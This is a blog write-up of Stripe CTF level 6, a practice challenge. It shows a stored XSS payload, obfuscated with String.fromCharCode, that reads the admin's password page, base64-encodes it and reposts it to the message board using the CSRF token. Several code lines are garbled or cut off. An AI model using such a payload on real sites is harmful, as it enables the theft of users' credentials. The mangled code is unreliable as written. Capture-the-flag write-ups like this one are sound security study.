Stripe CTF: Level #6

Posted on dim. 28 octobre 2012 in Write-up


You can find the code for this level here.

(sha256: 0fed78164db1eced67ff8eeba0998c81901880b293667f63f74e2838e63d2bf3)

This level is a message board: you can share updates with your friends. The only thing is, you can't put messages with quotes and double quotes, in order to prevent SQL injection. You also can't change your password, but don't worry, it's visible on your profile page. Can we use this to retrieve the admin's password?

This level is a lot like level #4. When you post a message, the server only checks for quotes and double quotes, not for script tags. So, we can post a message consisting of javascript code which will retrieve the password and post it on the board. But we can't use quotes or double quotes: we'll have to obfuscate our code. And since the admin's password contains quotes and double quotes, we'll have to obfuscate it as well before we post it to the board. I chose to use base64, and I found a javascript implementation here.

function pwn_password()
    var xml_password = null;
    xml_password = new XMLHttpRequest();"GET", "/user_info", false);
    var password_page = xml_password.responseText;

    var csrf_token = document.new_post.elements['_csrf'].value;

    var params = "title=password&body=" +
    escape(Base64.encode(escape(password_page))) + "&_csrf=" +

    var xml_post = null;
    xml_post = new XMLHttpRequest();"POST", "/posts", false);
    xml_post.setRequestHeader("Content-Length", params.length);
    xml_post.setRequestHeader("Connection", "keep-alive");

window.onload = function() {

We'll obfuscate it using String.fromCharCode (the following result contains also the base64 function):

</script><script>eval(String.fromCharCode(47, 42, 42, 10, 42, 10, [...] 41, 59, 10, 125, 10));</script><script>
<!-- The result is too big to be displayed entirely -->

Let's post this and wait for the admin to log in.


Now, we check the source code, and we see some base64-encoded stuff.


We just have to decode it.


We URL decode it, to clean a little bit: